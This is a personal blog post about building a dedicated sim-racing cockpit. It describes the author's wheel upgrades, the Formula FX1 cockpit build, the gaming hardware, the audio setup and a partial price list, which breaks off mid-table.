<p>Two years ago I traveled to Japan with my girlfriend and made a point of going to <a href="https://en.wikipedia.org/wiki/Daikoku_Parking_Area"target="_blank" rel="noopener">Daikoku PA</a>, the famous parking area on the Shuto Expressway in Yokohama where the JDM culture concentrates. As an old fan of <a href="https://store.steampowered.com/app/2634950/Tokyo_Xtreme_Racer/"target="_blank" rel="noopener">Tokyo Xtreme Racer</a>, by Genki, I needed to see Daikoku with my own eyes at least once. And it didn&rsquo;t disappoint. Instead of renting a car, we booked a tour with a local guide in his prepped Nissan GT-R. Better that way. On the drive there he explained the history of the Wangan, how the scene works, what&rsquo;s YouTube exaggeration and what&rsquo;s real. When we got there on a Friday night and I saw the whole thing in person — Skyline R34, RX-7, Supra, GT-R, tuned kei trucks, insane bosozoku — the feeling was strange in the best possible way. It looked like Tokyo Xtreme Racer, except with the smell of fuel in the air and the sound of real exhaust pipes.</p>
<p>And there&rsquo;s another detail: I&rsquo;m playing the new <a href="https://store.steampowered.com/app/2634950/Tokyo_Xtreme_Racer/"target="_blank" rel="noopener">Tokyo Xtreme Racer</a> reboot on PC, and it&rsquo;s exactly the kind of game that understands its own audience. Strong single-player campaign, addictive progression, the right vibe, and none of the loot box nonsense. I&rsquo;d recommend it without hesitation. For the same reason, I&rsquo;m also really looking forward to <a href="https://forza.net/forzahorizon6"target="_blank" rel="noopener">Forza Horizon 6</a>, which this time is going to be set in Japan. I&rsquo;ve already pre-ordered it and I can&rsquo;t wait to play it on the new cockpit.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/daikoku---nissan.jpg" alt="At Daikoku PA with a modified GT-R"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/daikoku---trueno.jpg" alt="With an AE86 Trueno at Daikoku PA — Takumi’s car"  loading="lazy" /></p>
<h2>Driving for real<span class="hx:absolute hx:-mt-20" id="driving-for-real"></span>
    <a href="#driving-for-real" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now that I&rsquo;m semi-retired, I&rsquo;ve had the chance to take my Mercedes to track days. I&rsquo;ve driven at <a href="https://en.wikipedia.org/wiki/Aut%C3%B3dromo_Jos%C3%A9_Carlos_Pace"target="_blank" rel="noopener">Autódromo de Interlagos</a> (the Autódromo José Carlos Pace), the 4.309 km circuit in São Paulo that&rsquo;s been hosting the Brazilian F1 GP since 1973, famous for the S do Senna corner complex and the circuit&rsquo;s wild elevation changes. I&rsquo;ve also driven at <a href="https://www.velocittapark.com.br/"target="_blank" rel="noopener">Autódromo Velocitta</a>, a modern 3.443 km circuit opened in 2014 in Mogi Guaçu in the interior of São Paulo, which hosts Stock Car Brasil and Porsche Cup.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/velocitta.jpg" alt="At Velocitta with my Mercedes during an AMG track day"  loading="lazy" /></p>
<p>In Las Vegas I&rsquo;ve driven supercars on those track-day experiences. And when I traveled with my girlfriend to Gramado, in Rio Grande do Sul, we went to <a href="https://supercarros.cc/"target="_blank" rel="noopener">Super Carros</a>, which is on Av. das Hortênsias 4635. They have a 2,400 m² hangar with more than 50 cars — Ferraris, Lamborghinis, Porsches, GT-Rs, Corvettes, American muscle cars. You pick a car, head out with an instructor, and drive a roughly 17 km route between Gramado and Canela. I took out a Nissan GT-R and a Ferrari California.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/gramado---gtr.jpg" alt="With a GT-R in Gramado"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/gramado---ferrari.jpg" alt="With a Ferrari California in Gramado"  loading="lazy" /></p>
<p>Three years ago I also went to Abu Dhabi with my girlfriend and we went to Ferrari World, which has some of the best racing simulators I&rsquo;ve ever tried. Hydraulic platform with 6 degrees of freedom, F1 cockpit, the works. I&rsquo;ve always loved testing simulators wherever I go.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/ferrari-park.jpg" alt="F1 simulator with a hydraulic platform at Ferrari World in Abu Dhabi"  loading="lazy" /></p>
<p>But driving real cars on real tracks is a very expensive hobby. Tires, fuel, insurance, maintenance, registration. And more important: I&rsquo;m an introvert. I prefer being alone. My simulator cockpit is perfect for when I want to drive without having to deal with anyone. That&rsquo;s why I love rally so much — it&rsquo;s me, the virtual co-driver, and the road. Nothing else.</p>
<h2>The games I play<span class="hx:absolute hx:-mt-20" id="the-games-i-play"></span>
    <a href="#the-games-i-play" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I know most people who build a cockpit like this do it to play serious sims — iRacing, Assetto Corsa Competizione, Automobilista 2. I respect that, but it isn&rsquo;t my thing. I don&rsquo;t like playing online with other people. I have zero intention of starting a live streaming career. This is purely for my own enjoyment.</p>
<p>These days I play Gran Turismo 7 on the PS5, <a href="https://store.steampowered.com/app/2440510/Forza_Motorsport/"target="_blank" rel="noopener">Forza Motorsport</a> (the 8, from 2023) on PC, but where I have the most fun is in rally games: <a href="https://store.steampowered.com/app/1849250/EA_SPORTS_WRC/"target="_blank" rel="noopener">EA SPORTS WRC</a>, <a href="https://store.steampowered.com/app/1462810/WRC_10_FIA_World_Rally_Championship/"target="_blank" rel="noopener">WRC 10</a> and <a href="https://store.steampowered.com/app/690790/DiRT_Rally_20/"target="_blank" rel="noopener">DiRT Rally 2.0</a>. My first experience with Forza was on the Xbox One with Forza Motorsport 5 and then Forza Horizon 4, which kept me hooked for hundreds of hours.</p>
<p>And I have a huge soft spot for retro games. The original Colin McRae Rally from 1998 on the PS1 was my first rally game. But my favorite of all time is Colin McRae Rally 2.0 (2000), also on the PS1. I recently played through the entire campaign again on the PC version — you can find repacks that run in high resolution and widescreen, much better than the original PlayStation versions. I&rsquo;d recommend that for any of the titles in the series.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/colin-mcrae-rally-2-gameplay.jpg" alt="Colin McRae Rally 2.0 running in widescreen on PC — snow in Sweden with the Ford Focus"  loading="lazy" /></p>
<p>After that came Colin McRae 3 (2002), Colin McRae Rally 04 (2003) and Colin McRae 2005 (2004). Other arcades I revisit often: OutRun 2 SP (2004) and OutRun 2006: Coast 2 Coast (2006) — the best OutRun ever made, in my opinion.</p>
<p>But my game of the year, by a long shot, is <a href="https://store.steampowered.com/app/3218630/Super_Woden_Rally_Edge/"target="_blank" rel="noopener">Super Woden: Rally Edge</a>. An indie made by a solo developer (ViJuDa, from Spain) that launched in January 2026 for less than R$ 60. Eight countries, more than 80 cars, a career mode, local split-screen multiplayer for up to 4 players, online leaderboards. The behind-the-car camera instead of the top-down view of the previous Super Woden GP made all the difference. 96% positive reviews on Steam with more than 1,300 ratings. It&rsquo;s the kind of game that proves you don&rsquo;t need a million-dollar budget to make something amazing.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/super-woden-rally-edge.jpg" alt="Super Woden: Rally Edge — indie made by a solo dev that competes with the big ones"  loading="lazy" /></p>
<h2>The evolution of my wheel setup<span class="hx:absolute hx:-mt-20" id="the-evolution-of-my-wheel-setup"></span>
    <a href="#the-evolution-of-my-wheel-setup" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Logitech G29 era (~2015-2021)<span class="hx:absolute hx:-mt-20" id="logitech-g29-era-2015-2021"></span>
    <a href="#logitech-g29-era-2015-2021" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I always wanted a racing wheel. I started over 15 years ago with something equivalent to Logitech&rsquo;s entry-level wheel, a G29. The G29 is a fine wheel to start with — gear-driven force feedback, pedals with a clutch, 900 degrees of rotation. But its force feedback is noisy and a bit crude. You can feel the gears turning.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/logitech-g29-and-myself.jpeg" alt="Me playing with the Logitech G29 on the couch — the beginning of it all"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/logitech-g29-with-support.jpg" alt="The G29 with a simple stand in front of the couch"  loading="lazy" /></p>
<h3>Thrustmaster T300RS + SXT V2 stand era (~2021-2024)<span class="hx:absolute hx:-mt-20" id="thrustmaster-t300rs--sxt-v2-stand-era-2021-2024"></span>
    <a href="#thrustmaster-t300rs--sxt-v2-stand-era-2021-2024" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Around 2021 I upgraded to the <a href="https://www.thrustmaster.com/products/t300rs-gt-edition/"target="_blank" rel="noopener">Thrustmaster T300RS</a>, a belt-driven wheel that&rsquo;s a huge jump up from the Logitech. The force feedback is much smoother and more precise. And I bought the <a href="https://loja.cockpitextremeracing.com.br/products/suporte-para-volantes-sxt-v2?variant=51111119454489"target="_blank" rel="noopener">Extreme Sim Racing SXT V2</a> stand, which is much sturdier than those generic desk clamps.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-support.jpg" alt="The Thrustmaster T300RS mounted on the SXT V2 stand"  loading="lazy" /></p>
<p>First I set it up in front of my desktop PC, which at the time had an RTX 3090. It worked, but it was a hassle to keep mounting and unmounting the stand and the cables every time I wanted to play.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-pc.jpg" alt="The Thrustmaster in front of the desktop PC — functional but annoying"  loading="lazy" /></p>
<p>Then I built a setup with a long fiber-optic HDMI cable to connect my 60&quot; TV to the PC at the back of the room. I moved the stand in front of the couch. Less of a hassle, but I still had to take it down whenever I wanted to watch a movie with my girlfriend.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-big-tv.jpg" alt="Setup with the big TV — better, but still a hassle"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-in-the-living-room.jpg" alt="The stand in the living room — always in the way"  loading="lazy" /></p>
<p>Around 2024 or 2025 I swapped my couch for one of those VIP cinema couches from <a href="https://www.starseat.com.br/sofa-cinema-sofa-cinema"target="_blank" rel="noopener">Star Seat</a>, which reclines and the whole nine yards. The problem: it was way taller than the previous couch. I had to do all kinds of workarounds to make the stand work at that height. I even 3D-printed mounts and sent them to PCBWay to machine steel plates so I could attach big wheels under the stand and gain a few centimeters of height. But that left the setup way too wobbly to drive comfortably.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-support-sofa-too-high.jpg" alt="The problem: VIP couch too tall for the stand — total kludge"  loading="lazy" /></p>
<h3>Fanatec CSL DD + Direct Drive era (~2024-2025)<span class="hx:absolute hx:-mt-20" id="fanatec-csl-dd--direct-drive-era-2024-2025"></span>
    <a href="#fanatec-csl-dd--direct-drive-era-2024-2025" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the meantime I gave the T300 to my brother and upgraded to a <a href="https://fanatec.com/eu-en/racing-wheels-wheel-bases/racing-wheels/gran-turismo-dd-pro-5-nm-wheel-base"target="_blank" rel="noopener">Fanatec CSL DD Gran Turismo Edition</a>. The CSL DD&rsquo;s direct drive motor delivers 5 Nm of torque at the base, but the Gran Turismo DD Pro kit comes with the Boost Kit 180 that brings it up to a sustained 8 Nm with no active cooling. Direct drive means there&rsquo;s no gear or belt between the motor and the wheel — the motor&rsquo;s shaft IS the wheel&rsquo;s shaft. The difference is absurd. The T300 was already great, much better than the Logitech. But the Fanatec is on another level. You feel every asphalt texture, every bump, every incipient slide. There&rsquo;s no going back once you try it.</p>
<p>I bought it together with the <a href="https://fanatec.com/eu-en/pedals/csl-pedals"target="_blank" rel="noopener">CSL Pedals with Load Cell</a> kit, which measures pressure on the brake instead of displacement. Makes all the difference in braking — you learn to modulate by foot pressure, not by how far the pedal moves. Way more natural.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-direct-drive-close-up.jpg" alt="Close-up of the Fanatec CSL DD direct drive motor"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-csl-pedals.jpg" alt="Fanatec CSL Pedals with Load Cell Kit"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec---shifter.jpg" alt="The Fanatec shifter — manual H-pattern with chrome knob"  loading="lazy" /></p>
<p>I also wanted to try the H-pattern manual shifter with the <a href="https://fanatec.com/us/en/p/add-ons/crd-9040002-ww/clubsport-shifter-sq"target="_blank" rel="noopener">ClubSport Shifter SQ V1.5</a> from Fanatec and a separate handbrake. It&rsquo;s fun to try out old cars with a clutch and an H-pattern, but in practice I never adapted. The SXT V2 stand was already shaking a lot with the direct drive, and using the shifter on that unstable setup was frustrating. And I know there are people who want to do heel-toe, but in the simulator I prefer to keep my left foot on the brake and my right on the gas and modulate both at the same time. Works better for me. Now that I have the McLaren wheel with the analog handbrake and clutch paddles right on the wheel, the H-pattern shifter and the external handbrake have been retired. For rally, an analog handbrake on the wheel is much more natural.</p>
<p>I also bought the PS5 with Gran Turismo 7 around this time. I put on the <a href="https://dbrand.com/shop/ps5"target="_blank" rel="noopener">dbrand Darkplates</a> matte black faceplates to replace the original white plates — it looks much better and more discreet.</p>
<p>But the setup was still the SXT V2 stand in front of the VIP couch. The same kludge. The same wobble. I obviously wasn&rsquo;t going to give up the cinema couch. The situation became unsustainable.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fanatec-with-support.jpg" alt="The Fanatec CSL DD on the SXT V2 stand — too powerful for the stand to handle"  loading="lazy" /></p>
<h2>The computer and the hardware setup<span class="hx:absolute hx:-mt-20" id="the-computer-and-the-hardware-setup"></span>
    <a href="#the-computer-and-the-hardware-setup" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A note on my gaming hardware. I bought a <a href="https://www.minisforum.com/products/UX790-Pro.html"target="_blank" rel="noopener">Minisforum UX790 Pro</a> to be my dedicated Steam machine. It&rsquo;s a mini-PC with an Intel Core Ultra 9 285H processor, fits in the palm of your hand. Together I bought the <a href="https://www.minisforum.com/products/minisforum-deg1-egpu-dock"target="_blank" rel="noopener">Minisforum DEG1</a>, an external GPU dock that connects via OCuLink (PCIe 4.0 x4, 64 GT/s). It&rsquo;s an open design — basically a board with a PCIe x16 slot and room for an ATX or SFX power supply. There&rsquo;s no card size limit, so an RTX 4090 fits comfortably. The performance loss compared to a native PCIe slot is minimal. I put the RTX 4090 in it. The 4090 came from my desktop — at the start of 2025 I went to Miami and took the chance to buy an RTX 5090 because I was using more and more local AI and LLMs. I gave my old 3090 to my girlfriend to use for video editing. The 4090 went into the mini-PC.</p>
<p>So my gaming setup today is: Minisforum UX790 Pro + eGPU with RTX 4090 for Steam and PC games, and a PlayStation 5 with matte black Darkplates for Gran Turismo 7 and exclusives.</p>
<h2>The cockpit: Formula FX1<span class="hx:absolute hx:-mt-20" id="the-cockpit-formula-fx1"></span>
    <a href="#the-cockpit-formula-fx1" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To round out the setup I also needed a decent monitor. I was already used to my 80&quot; Samsung OLED TV in the living room and didn&rsquo;t want to downgrade picture quality. So I invested in the <a href="https://www.samsung.com/br/monitors/gaming/odyssey-oled-g8-g81sf-32-inch-240hz-oled-uhd-ls32fg810snxzd/"target="_blank" rel="noopener">Samsung Odyssey OLED G8 32&quot;</a>. It&rsquo;s a 4K (3840x2160) OLED monitor with a 240 Hz refresh rate, 0.03 ms response time (GTG), HDR True Black 400, HDR10+, 99% DCI-P3 coverage, 1,000,000:1 contrast, and FreeSync Premium Pro. It has 2 HDMI 2.1 inputs and 1 DisplayPort 1.4.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/closed-delivery-box.jpg" alt="The box of the Samsung Odyssey OLED G8 32&#34; when it arrived"  loading="lazy" /></p>
<p>In practice: the colors pop, black is real black (it&rsquo;s OLED, no backlight), and with the RTX 4090 I run most games at 4K and 120 fps with no problem. On lighter titles like Super Woden: Rally Edge, it easily hits 240 Hz. The smoothness is absurd. For a cockpit where you&rsquo;re 60-70 cm from the screen, 32&quot; OLED in 4K is the sweet spot. Bigger and you start to see pixels. Smaller and you lose the immersion.</p>
<p>In January 2026, after years of kludges, I finally ordered a dedicated cockpit. I researched a lot. I considered the <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-ax160-horizontal?variant=52008751431961"target="_blank" rel="noopener">Cockpit AX160</a>, made of aluminum profile and very modular, and the <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-4-0-horizontal?variant=52004294852889"target="_blank" rel="noopener">Cockpit 4.0</a>, which is the more traditional tubular steel kind. But neither was available at the time of purchase. And then I found the <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-formula-fx1-preto-e-verde?variant=51700876509465"target="_blank" rel="noopener">Formula FX1 in black and green</a> from Extreme Racing — Petronas colors, F1-styled.</p>
<p>The FX1 is very different from traditional cockpits. The whole structure is welded thick steel tubing. When I say it doesn&rsquo;t shake, I mean it doesn&rsquo;t shake at all. Zero wobble. It&rsquo;s a brutal difference compared to a stand in front of the couch. The driving position is reclined, F1-style — your feet are at the same height or higher than your hips. You&rsquo;d think it would be uncomfortable, but it isn&rsquo;t. You can sit there for hours without complaining. It comes with a padded adjustable seat, an articulating monitor mount, a tilt-adjustable pedal mount, and a height-adjustable wheel mount.</p>
<p>I had to wait about a month for delivery. In the meantime, as anyone who follows my blog knows, I dove into a 16-hour-a-day marathon testing the new AI agents from Anthropic and OpenAI — check the <a href="/en/en/tags/vibe-coding/">#vibecoding</a> and <a href="/en/en/tags/ai/">#agents</a> tags to see everything I built. After about 30 days of that insane marathon, my lower back gave out and I started developing what looks like a herniated disc. I had to see a doctor and take heavy anti-inflammatories.</p>
<p>And right that week, the cockpit decided to arrive.</p>
<h3>The build<span class="hx:absolute hx:-mt-20" id="the-build"></span>
    <a href="#the-build" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I was in absurd pain, but I built the cockpit anyway. It took an entire day to unbox and assemble the heavy steel pieces with my back screaming, but I did it.</p>
<p>The official assembly video I followed:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/WnocqqhmZas"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/first-pieces-mounted.jpg" alt="First pieces mounted — the base and the seat structure"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mostly-mounted.jpg" alt="Almost complete structure — seat, wheel mount, pedals"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mostly-mounted-from-front.jpg" alt="Front view of the almost-finished structure"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/almost-mounted,-with-monitor.jpg" alt="Almost complete assembly with the monitor mount"  loading="lazy" /></p>
<h3>The McLaren GT3 V2 wheel<span class="hx:absolute hx:-mt-20" id="the-mclaren-gt3-v2-wheel"></span>
    <a href="#the-mclaren-gt3-v2-wheel" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>After assembling the cockpit, I decided that the standard wheel that comes with the CSL GT kit wasn&rsquo;t enough. I upgraded to the <a href="https://www.racingwheelbrasil.com.br/produtos/volante-fanatec-csl-elite-mclaren-gt3-v2-pc-xbox-ps4-ps5-ready/"target="_blank" rel="noopener">Fanatec CSL Elite McLaren GT3 V2</a> (~R$ 4,990). It&rsquo;s a 1:1 scale replica of the McLaren GT3 wheel, with carbon fiber, an OLED display, and compatibility with PC, Xbox, PS4 and PS5.</p>
<p>What I like most about it: it has the normal shift paddles behind it (shift up/down), but it also has two additional analog paddles that can be configured in four different modes. In mode B, which is what I use, the left paddle works as an analog handbrake and the right one as an analog clutch. That&rsquo;s perfect for rally — I can pull the handbrake mid-corner without taking my hand off the wheel. It also has two 2-position toggles, two 12-position rotaries, 7 standard buttons with interchangeable caps, and Fanatec&rsquo;s 7-direction FunkySwitch. It&rsquo;s a complete racing controller.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mclaren-wheel.jpg" alt="The McLaren GT3 V2 wheel mounted on the cockpit — carbon fiber and OLED display"  loading="lazy" /></p>
<h2>The final setup<span class="hx:absolute hx:-mt-20" id="the-final-setup"></span>
    <a href="#the-final-setup" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The cockpit ended up in a corner of my bedroom, between the manga shelves (you can spot Akira, Initial D, and 500-something other volumes in the background). I mounted the mini-PC and the PS5 on the cockpit&rsquo;s side structure, together with the eGPU and the RTX 4090. Everything stays permanently connected. That&rsquo;s what makes the difference: I no longer have to set anything up or take it down. I sit, turn it on, and I&rsquo;m driving in 30 seconds.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fully-mounted-from-side.jpg" alt="Side view of the complete cockpit — between the manga shelves"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/all-consoles-from-front.jpg" alt="The consoles mounted on the structure: PS5 with Darkplates, Minisforum UX790 Pro, eGPU with RTX 4090"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/close-up-of-the-consoles-from-front.jpg" alt="Close-up of the consoles and cabling"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/sitting-angle.jpg" alt="The driver’s perspective — this is what I see when I sit down"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/monitor-on-view-from-front.jpg" alt="PS5 showing the game list — Gran Turismo 7 at the top"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/another-fully-mounted-shot.jpg" alt="The complete cockpit seen from behind"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/from-front-gran-turismo-h264.mp4" type="video/mp4">
  </video>
  <em>Gran Turismo 7 running on the final cockpit</em>
</div>
<h2>The audio system<span class="hx:absolute hx:-mt-20" id="the-audio-system"></span>
    <a href="#the-audio-system" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To round out the setup I needed dedicated audio. I didn&rsquo;t want to use the monitor&rsquo;s audio (terrible) and I didn&rsquo;t want to be on a headset all the time. The fix was to build a separate audio system with HDMI audio extraction.</p>
<p>The centerpiece is an <a href="https://www.amazon.com.br/dp/B00MNGIP2Y"target="_blank" rel="noopener">HDMI 2.1 switcher from OREI</a> with audio extraction. It has 2 inputs and 1 HDMI output, supports 4K at 120Hz (48 Gbps of bandwidth), and extracts the audio through optical TOSLINK and 3.5mm. I connect the HDMI output of the RTX 4090 to one input and the PS5 to the other. Video goes to the monitor. Audio goes out through the optical port.</p>
<p>The optical audio goes to an <a href="https://www.mercadolivre.com.br/amplificador-de-potncia-aiyima-d03-bluetooth-50-150-watts-cor-preto/p/MLB46172770"target="_blank" rel="noopener">Aiyima D03 amplifier</a>, a compact 2.1 channel amp with 150W per channel, integrated DAC (PCM1808 chip), and Bluetooth 5.0 with aptX HD. It has optical, coaxial, USB, RCA and Bluetooth inputs. It even has a dedicated subwoofer output for when I get around to adding one. It uses Texas Instruments&rsquo; TAS5624 amplifier chip and has bass and treble control through the remote. For a cockpit setup where you&rsquo;re 1 meter from the speakers, 150W is more than enough.</p>
<p>In practice, I keep the amp at 50% and Windows volume at 50%, and that&rsquo;s already loud as hell. Which is to say: this isn&rsquo;t a &ldquo;good enough&rdquo; little system. It&rsquo;s set up to actually go loud if I want.</p>
<p>The speakers are <a href="https://edifier.com.br/caixa-de-som-passiva-p12-madeira-edifier.html"target="_blank" rel="noopener">Edifier P12</a>, passive, with a 4-inch woofer and a 19mm tweeter. Frequency response from 55Hz to 20kHz, 6 ohm impedance, 20W RMS each. The MDF cabinet with wood finish has a rear bass-reflex port that helps the lows. For passive speakers this size, they deliver well. The mid-range is clean and the highs don&rsquo;t distort even at high volume.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/audio-equipment.jpg" alt="The audio gear — Aiyima D03 box and Edifier P12"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/audio-speakers-next-to-other-stuff.jpg" alt="The Edifier P12s positioned on the shelves next to the cockpit, alongside the Akira collection and car miniatures"  loading="lazy" /></p>
<p>The setup logic is: HDMI switcher handles the switching between PS5 and PC, extracts audio to optical, the amp converts and amplifies, and the passive speakers deliver the sound. All without having to touch the monitor or swap cables. I press a button on the switcher and switch consoles.</p>
<p>When I want to play without bothering anyone, I plug my <a href="https://www.mercadolivre.com.br/fones-de-ouvido-meze-audio-109-pro-com-fio-de-madeira-com-en/p/MLB42456685"target="_blank" rel="noopener">Meze 109 Pro</a> directly into the 3.5mm output of the HDMI switcher. The Meze 109 Pro is an open-back headphone with 50mm dynamic drivers, 40 ohm impedance, 112 dB SPL/1mW sensitivity, and 5Hz to 30kHz response. The ear cups are walnut wood with handcrafted finish. It&rsquo;s an audiophile headphone that works perfectly without a dedicated amplifier thanks to the low impedance. The sound is warm, with full bass and rich mids. You can hear every detail of the engines.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/meze-headset.jpg" alt="Meze 109 Pro — walnut wood, audiophile sound"  loading="lazy" /></p>
<p>I haven&rsquo;t decided about a subwoofer yet, but it&rsquo;ll be my next upgrade. A dedicated sub is going to add that low-end weight that makes you feel the engine in your chest.</p>
<h2>The verdict<span class="hx:absolute hx:-mt-20" id="the-verdict"></span>
    <a href="#the-verdict" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The couch with a stand works. The PC desk with a stand works. But neither comes anywhere close to a dedicated cockpit. The FX1&rsquo;s steel structure doesn&rsquo;t move a millimeter, even with the Fanatec direct drive at max torque. The reclined F1 position is comfortable for sessions of hours. The load cell pedals stay firm on the base. The monitor is exactly at the right height and distance. And best of all: it&rsquo;s always ready. I don&rsquo;t need to assemble anything, take anything down, run cables, none of it. I sit and I drive.</p>
<p>For anyone who&rsquo;s wondering whether it&rsquo;s worth investing in a dedicated cockpit instead of staying with a desk or couch stand: it is. If you already have a direct drive wheel, the cockpit is the missing piece. I spent years thinking &ldquo;this is fine&rdquo; with the stand on the couch. It wasn&rsquo;t fine. The difference in driveability is something else entirely. And for my case — introvert, single-player only, simcade — I couldn&rsquo;t have built it any sooner. To be honest, I think I&rsquo;ve finally landed on the simulator setup that&rsquo;s perfect for my taste.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/monitor-on-view.jpg" alt="The monitor on with the driver’s view"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/video-testing-h264.mp4" type="video/mp4">
  </video>
  <em>Me driving on the final cockpit</em>
</div>
<h2>Shopping list: how much it all cost<span class="hx:absolute hx:-mt-20" id="shopping-list-how-much-it-all-cost"></span>
    <a href="#shopping-list-how-much-it-all-cost" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Here&rsquo;s the consolidated list of everything in my current setup, with approximate prices (some were bought in dollars and converted to reais at the time&rsquo;s exchange rate):</p>
<table>
  <thead>
      <tr>
          <th>Item</th>
          <th style="text-align: right">Estimated Price (R$)</th>
          <th>Link</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://loja.cockpitextremeracing.com.br/products/cockpit-formula-fx1-preto-e-verde?variant=51700876509465"target="_blank" rel="noopener">Cockpit Formula FX1 Black and Green</a></td>
          <td style="text-align: right">~6,290</td>
          <td>Extreme Racing</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/sim-racing-bundles/crd-9020007-8nm-us/gran-turismo-dd-pro-8nm-qr2l-us"target="_blank" rel="noopener">Fanatec Gran Turismo DD Pro 8Nm (motor + wheel + pedals + Boost Kit)</a></td>
          <td style="text-align: right">~9,590</td>
          <td>Fanatec / Racing Wheel Brasil</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/pedals/csl_p_lc/csl_pedals_lc"target="_blank" rel="noopener">Fanatec CSL Pedals LC (with Load Cell)</a></td>
          <td style="text-align: right">~1,500</td>
          <td>Fanatec</td>
      </tr>
      <tr>
